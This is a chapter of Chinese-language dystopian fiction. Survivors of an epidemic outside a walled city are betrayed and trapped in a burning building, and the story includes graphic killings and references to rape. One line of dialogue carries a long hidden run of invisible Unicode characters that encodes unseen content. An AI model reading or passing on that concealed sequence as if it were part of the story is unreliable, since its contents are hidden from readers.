日常崩塌的那天，恰好是米洛的五歲生日。
親朋好友們在後院舉辦派對，連蛋糕都來不及切，小鎮忽然響起防空警報。鄰居慌忙地跑來告訴他們通往外界的道路被軍隊包圍，手機電視也失去訊號。小鎮完全變成了孤島。
還沒等眾人反應過來——數十輛卡車駛進社區，身穿白衣的防疫人員下來後頒布戒嚴令。
不論年齡性別，凡是違抗命令者一律遭到拘捕。每晚都會有大量裹著布的屍體集中在市中心焚燒，冒出熊熊濃煙。
和樂融融的小鎮逐漸淪為人間煉獄。
沒多久，米洛的父親也出現染病跡象，全家連夜躲進一間廢棄教堂，依靠罐頭和少量的雨水勉強度日。
那裡的老神父是個好人，主動收留大量感染者。或許是因為他自己也時日不多了，想好好利用最後的力量幫助眾生。
像這樣躲躲藏藏的日子持續了兩年。直到其中一位感染者跑去向軍方告密，揭發所有人。
本以為能因此獲得赦免的他，最終還是死在槍口下。
政府很快派來傭兵和運輸車，把所有反抗者屠殺殆盡，包含那位神父在內，剩餘的人通通送往某處營地。
神父在斷氣前一刻仍不放棄，希望用上帝的愛來感化這群傭兵，卻被他們無情虐待，拋屍於荒野。
每天都有無辜的男女老少被帶去實驗室。
米洛永遠記得自己被關在密不透風的牢籠裡，身上全是排泄物的臭味，外頭時不時傳來痛苦哀嚎，以及各種淫穢不堪的叫聲。
一個夜晚，在蹂躪完米洛的母親後，某些傭兵將目光放向當時年僅十歲的妹妹。
米洛的父親一向很和善，這輩子從未傷害過任何人，是個奉公守法的好公民。
然而，他卻趁對方不注意的時候，舉起石塊狠狠往後腦勺砸下去，一邊怒吼著「別碰我的女兒！」。不斷猛砸、不斷猛砸……直到那名傭兵的頭顱變成一攤爛泥，血漿四溢。
親手奪去第一條性命，父親的神情顯得無比癲狂。現場的人都受到不小的驚嚇。
尤其是米洛和他的妹妹。
另一位傭兵反應過來，嘗試摸向腰間的武器，米洛見狀衝上前狠狠咬住對方的手臂，「啊！狗娘養的！」害他痛苦大叫，自己也在扭打過程中弄傷了左眼。
父親立刻用同樣的手段了結那傢伙。
「快跑！我替你們爭取時間！」
父親用鑰匙打開門，撿起掉在地上的槍和手榴彈，儘管此前根本沒扣動過扳機，雙眸仍表現出滿滿的殺意。
「可、可是媽咪——」
「媽咪她……不會再醒來了，乖寶貝，她去了更好的地方。」父親強忍著淚水，用沾滿溫熱液體的手輕撫兒女的臉龐，「記住這件事，爸爸媽媽永遠愛你們，不論分隔多遠的距離……我們都是一家人，好好照顧彼此。」
說完，他便轉身跑向關押著其他感染者的地方，放走更多人。
頓時營地內響起警報，槍聲不斷。
「爸！等等！」
忍住眼睛的傷勢，米洛抱起傻傻想跟過去的妹妹，往反方向的樹林跑去。
無論妹妹怎麼苦苦哀求，米洛都不敢回頭。
「我們地獄見，混帳東西！」
在一聲來自父親的吶喊之後，背後傳來強烈火光以及巨響，塵土泥塊噴的到處都是。
一夜之間失去兩位最愛的親人，妹妹趴在肩上放聲大哭。
米洛只好把這個不停顫抖的嬌小身軀緊緊抱在懷裡。
至今他仍會做關於那晚的惡夢。
「……哥哥。」
比自己小好幾歲的妹妹，原本就有心臟方面的毛病，因此父母親更疼她，結果就養成愛哭又愛向人撒嬌的習慣。
在妹妹朦朧的記憶中，米洛總是無怨無悔地陪在她身邊、趕走欺負自己的野獸、煮看起來很噁心但味道不錯的羹湯。始終保護著自己，哥哥是她最憧憬的英雄。
這場疫情，奪走了兄妹所熟知的一切。
妹妹十分脆弱，也是世上僅存的家人，米洛從此立下誓言要守護她，不計一切代價。只想再次看見妹妹的笑顏。
——哪怕是要犧牲自己或他人。
‡ ‡ ‡
「……天啊。」
聽完米洛的故事，賽巴斯汀忍不住發出一聲感嘆。車內的氣氛逐漸凝重起來。
唯獨在駕駛座的萊婭依舊面無表情，看似對這個話題不感興趣。
其實她一直努力壓抑著情感，黑色馬尾在後腦勺散亂地撒開。做幾下深呼吸，將十字架綴飾緊緊握在手心，閉上雙眼，這個小動作總是能幫助自己冷靜下來。
「警佐，妳認為他的家人還活著嗎？」
「……機率不大。」萊婭不喜歡做無謂的猜測，所以沒有多說些什麼，伸手按住發疼的太陽穴。
「妳還好嗎？撐不住就別勉強，讓我開車吧。」
「之前就講好要輪流了……我沒事，只是一整天下來有點累。」
接著，賽巴斯汀問米洛如果有機會回到牆內想做些什麽，他卻回答不出來，大概從未想過這件事。
對牆外民來說，這個可能性微乎其微。
政府早已放棄將他們當成人類來看待，而是任人宰割的家畜。每天生活在水深火熱之中，根本不會有心思去思考未來想幹嘛，連下一餐有沒有著落都不曉得，更沒有值得去追尋的夢想。
或許他們的命運和歸宿在很久以前就決定了。
如今去問那些，也只是提醒他們自身的悲慘遭遇，增添更多痛苦。
自己是來追查線索的，沒辦法拯救所有人。
「我們到了。」打斷萊婭的思緒，米洛指著前方說。
他們把車子停在一處曾經是高爾夫球場的空曠地。
下車後，寒風竄進夾克領口，讓萊婭下意識地打了個冷顫。三人在米洛的帶領下走進一棟廢棄大樓，要說的更精確些，是一棟幾乎半毀的商業大樓，六樓以上變成斷垣殘壁，表面佈滿大大小小的坑洞，像是曾受過猛烈砲擊。
朝大樓的側邊走去，有一道非常不顯眼的裂縫隱藏在層層枝葉中，積雪反射著從灰色雲層間透出的月光。周圍的牆壁用紅色噴漆噴了許多塗鴉，還有一些無法辨識的文字。
他們緩緩往裂縫內部鑽進去——
「這裡是……百貨中心？」
「歡迎來到『城堡』，幾年前我和一批倖存者發現這地方，可以遮風避雨，面積又寬敞，所以我們就決定把它改造成可居住的據點。」
「看󠄊󠄀󠄃󠄎起󠄊󠄀󠄃󠄎來󠄵󠄀󠄀󠄂規󠄫󠄎󠄍󠄷模󠄤󠄇󠄡󠄂還󠄢󠄅󠄱󠄾挺󠄧󠄸󠄤󠄻大󠄆󠄟󠄄󠄷的󠄼󠄂󠄷󠄫。其󠄽󠄀󠄠󠄊他󠄧󠄳󠄧󠄶人󠄺󠄪󠄕󠄃呢󠄳󠄋󠄩󠄶？」󠄹󠄁󠄁󠄊󠄮󠄇󠄪󠄾󠄲󠄸󠄌󠄛󠄊󠄔󠄸󠄎󠄜󠄱󠄕󠄰󠄲󠄨󠄖󠄕󠄽󠄐󠄫󠄱󠄹󠄛󠄭󠄱󠄎󠄥󠄘󠄛󠄳󠄮󠄄󠄾󠄮󠄺󠄼󠄸󠄕󠄟󠄣󠄄󠄉󠄛󠄰󠄚󠄒󠄈󠄼󠄄󠄰󠄺󠄌󠄑󠄅󠄄󠄟󠄒󠄄󠄏󠄄󠄴󠄍󠄽󠄩󠄾󠄬󠄓󠄙󠄏󠄥󠄉󠄹󠄳󠄙󠄡󠄇󠄄󠄺󠄝󠄔󠄮󠄓󠄾󠄶󠄚󠄉󠄋󠄨󠄇󠄨󠄡󠄎󠄜󠄵󠄜󠄦󠄢󠄲󠄧󠄀󠄟󠄼󠄆󠄔󠄬󠄢󠄧󠄚󠄃󠄼󠄪󠄁󠄸󠄻󠄂󠄋󠄲󠄘󠄩󠄎󠄬󠄴󠄜󠄣󠄘
聽見賽巴斯汀不經意的提問，走在前方的米洛忽然陷入沉默，盯著天花板一會兒才低聲回答：
「現在只剩下我和約瑟芬。」
「……這樣啊」
「至少耳根子清靜多了，也不用擔心搶糧食的問題。」
他勉強擠出微笑，但在那抹弧度之間，萊婭看到經歷無數生死離別的後遺症。
與其說這裡是適合居住的「城堡」，萊婭更覺得它是鬼屋或廢料場，這邊缺一塊牆就用木板補起來、地上出現破洞就用石頭填塞，防禦結構十分薄弱。沿著長滿植物的手扶梯往上走，來到二樓，眼前出現數量驚人的空罐頭和酒瓶，幾乎能淹沒一間套房，再次證實萊婭的想法。
不過考慮到他們在這裡生存好多年了，太糾結這點也無濟於事。
經過一間又一間的空房，最終米洛帶他們來到唯一有上鎖的房間，不只上鎖，外頭還堆疊各種廢棄傢具，三人費了好一番勁才全部搬開。
「所以，你每次外出都會像這樣把妹妹關在裡頭？」賽巴斯汀好奇地發問。
「這是為了她的安全著想。」
米洛解開鎖頭，緩緩轉動門把，然後推開——
「約瑟芬，抱歉讓妳久等了，妳不會相信我今天……約瑟芬？」
房間內空無一人。
「這不好笑，約瑟芬！妳到底躲在哪裡？」四處尋找的同時，冷汗從米洛的額角滴落，瞳孔閃過一絲慌亂的情緒，「我沒時間跟妳玩遊戲！」
吐出化作白霧的空氣，萊婭在迅速掃視一遍環境後這麼問：
「不好意思，這裡有沒有其他出口？」
「什麼？沒有啊……她想出去只能透過那道門，而且鑰匙才一把。真是的，我明明告訴她生病時別亂跑，為什麼就是不聽我的話？」
『——為什麼，妳就是不願意乖乖聽老爸的話？』
一瞬間，腦海回憶起不好的往事片段。
萊婭甩了甩頭，立刻和賽巴斯汀加入搜尋的行列。幾分鐘過去，幾乎把整個房間都掀個底朝天，依然沒找到對方的身影。
這時，她注意到有一扇天窗微微敞開，於是瞇起眼看向外頭。從這個角度正好能俯視大樓後方的停車場，如今也是雜草叢生。
「怎麼了？」賽巴斯汀壓低聲音問。
「外面好像有人。」
「……在哪裡？」賽巴斯汀問，然後瞇起眼睛仔細觀察，「我看到了，躺在草叢裡面……可是米洛說這地方只有他們兄妹住。」
「所以我才覺得奇怪。」
「要去檢查看看嗎？」
那傢伙還在動，代表不是屍體。萊婭在確定情況前不敢輕舉妄動。
「我下去看看。」賽巴斯汀轉身就準備走向門口。
「什……你瘋了嗎？如果對方是感染者怎麼辦？」
「不實際看看怎麼知道……呃，警佐？我們好像有個狀況。」
「什麼意思？」
「那個小鬼頭不見了。」
聞言，萊婭跟著轉頭環視房間，確實沒看見米洛的身影。
「會不會是跑到外面去找妹妹了？」
此刻，房間的大門忽然被重重地關上。搞什麼鬼？
萊婭和賽巴斯汀困惑地對望了一眼。
「米洛！你在幹嘛？快點放我們出去！」
『……我很抱歉。』門外傳來對方微弱的聲音。
「現在不是開玩笑的時機，你需要我們的幫忙。聽著，我或許知道去哪裡找……」
『不要再騙人了！』米洛激動的對萊婭怒吼著，即使看不見彼此，也能想像他那憤怒到扭曲的表情。『我看妳在車上的表情就知道了，妳根本沒打算治療約瑟芬，只是想利用我，就跟那群自稱科學家的混帳一樣。』
「那、那不是真的！米洛，我——」
『幹得好啊，小鬼。』
門外忽然出現第二個聲音，萊婭感到十分陌生。她透過門縫偷瞄出去，看見一名留著龐克頭的男人，年紀絕對比自己小，講話時卻帶有濃厚的煙酒嗓，萊婭猜測對方應該是附近的拾荒者。
『你們交代的任務我都完成了，伯爵，現在把我妹妹還來。』
看來伯爵是那傢伙的匿名。
『嘖嘖，我從最一開始就提醒過了吧，任務何時結束輪不到你來決定，而是手握生殺大權的我們，大名鼎鼎的鬣狗幫。』
『求求你們……！』米洛迅速彎下腰，雙膝跪地，金色頭髮垂到布滿泥濘的地板上。
「警佐！外面到底發生了什麼事？」賽巴斯汀用視線掃過整個房間，大概是在尋找用來逃生的工具，但除了一些舊衣物之外什麼都沒發現。
『不過，我確實得感謝你遵守約定，將那麼多在外頭遊蕩的可憐蟲誘導來這裡……他們的鮮血也在你手上喔，千萬別忘記這點。』伯爵將皮靴踩在米洛頭頂上。
「我們必須做點什麼！那些傢伙是專門獵殺其他人的幫派，肯定不會留任何活口。」
緊接著，伯爵忽然一把抓住米洛的頭髮，將他狠狠摔到牆上，然後揪起他的領子。
『你真的以為那個小婊子在我手裡？告訴你一個事實吧，我們很早就把她賣給牆內的人了。』
『牆內？不、不可能……我上次看見約瑟芬……』
『你們上次見面已經是兩個禮拜前的事了，最近獵物越來越少，我們繼續留著一張只會吃飯的嘴要幹嘛？』
『可惡……』
『總之，我們找到金主了，接下來鬣狗幫會開啟新的業務，可不能放任你們這些不穩定因素到處亂跑……喔，好啦，別一直催嘛。我只是想找些樂子。」伯爵似乎察覺到了什麼，一隻手搭在他肩上。
萊婭從門縫看不見那個人的長相，只能依稀聽到他在伯爵耳邊細語了幾句。
『該收尾了。』
『唉，如你所見，我們的新金主沒有什麼耐——』
碰！！
冷不防地，門外響起一道槍聲，害萊婭渾身震了一下。
事情發生的非常突然。她根本看不清門外發生了什麼。
「難不成，米洛他……」賽巴斯汀的臉龐頓時失去血色。
萊婭用力扳開門縫讓視野變得更寬，看見伯爵就這樣摔倒在地上，像是被剪斷線的人偶，後腦破了一個大洞，鮮血不斷湧出。
——他們不是一夥的嗎？
下一秒，殺死伯爵的兇手發現米洛掙扎著想爬走，立刻踏上他的手腕，哀號聲響遍大樓。
此舉讓萊婭看見那傢伙的穿著，一身完美融進雪地的白色迷彩服，武器裝備精良，臂膀上還印著「Ω」的符號，跟那些醫療文件一模一樣。
「嘿！快停下來，你們的目標不是那孩子！是我們！」萊婭使勁喊道。
聞言，身穿迷彩服的男子歪頭看向門口。
『編號B-237在哪？』
「你說什麼？」
察覺萊婭困惑的反應，男子躊躇了幾秒，隨後向旁邊的同夥說道：
『動手。』
一瞬間，萊婭聞到濃濃的汽油味，好幾位同樣裝扮的軍人拿起桶子到處潑灑透明液體。
『這裡是牆外，可不是倫敦那種安全的地方。你們今天會被燒死，那是無庸置疑的，都怪妳一心只想著追查真相，當初就應該好好把長官的警告聽進去。』
等等，他們知道史蒂文跟自己說了什麼，難道是高層派來的殺手？
『永別了，紐曼警佐、古德溫先生。』隨著男子點燃一根火柴，扔向地面，火舌瞬間熊熊竄起，萊婭和賽巴斯汀不敵高溫連忙向後退。對方冷冷地瞪著倒在地上呻吟的米洛，無視他哀求自己放走妹妹的聲音，轉身往走廊另一端走去。
劈啪！劈啪！房間裡面堆積不少木製傢具，助長了火勢。
再過不到兩分鐘，他們就會徹底被吞噬。
被警方誣陷、抵達印刷工廠、與米洛的相遇……從頭到尾就是一場精心策畫的陷阱。
目的便是除掉所有知情份子。
「該死，隔天一定會全身肌肉痠痛。」賽巴斯汀忽然說出這樣一句令人摸不著頭緒的話。
接著，他做了下深呼吸，舉起一張椅子朝窗戶砸過去，然後整個人跳到外面。
「喂！你這是在幹嘛！？」
出乎萊婭的意料，賽巴斯汀雙手緊緊抓住窗檯的邊緣不放，他貌似也對自己的行為感到訝異，「我高中的時候參加過攀岩社，雖然是為了追女生，而且去兩三次就放棄了，但我還記得一些訣竅。」他一邊說著一邊慢慢向左移動，隨時有可能摔成肉醬，看得萊婭心驚膽跳。
「阿彌陀佛、上帝保佑，我從此會注意飲食健康……」
做足心理準備，賽巴斯汀直接一口氣躍至隔壁窗檯，沒想到著地的地方忽然塌陷一塊，整個人差點失足摔下去。幸好他及時拉住窗簾一角，萊婭也鬆了口氣。
賽巴斯汀從隔壁房間來到走廊，濃煙已經相當嚴重，他憋氣撬開門鎖，讓萊婭得以逃脫空氣越來越稀薄的空間。
「呼……幹得好，看來我欠你兩條命了。」
「下次不要拒絕我的晚餐邀請就算扯平吧。」
「想得美，等我們逃出去之後再談。」萊婭小心翼翼避免踩到鬣狗幫成員的屍體，轉頭看向地上那名少年，「話說，我們該拿他怎麼辦？他好像昏過去了。」
「背叛是事實，但我不能眼睜睜放任一個孩子死在這種地方。快來幫忙！」
這時天花板開始崩落，兩人明白現在不是猶豫的時候，趕緊合力攙扶起米洛，朝一樓的出口跑去。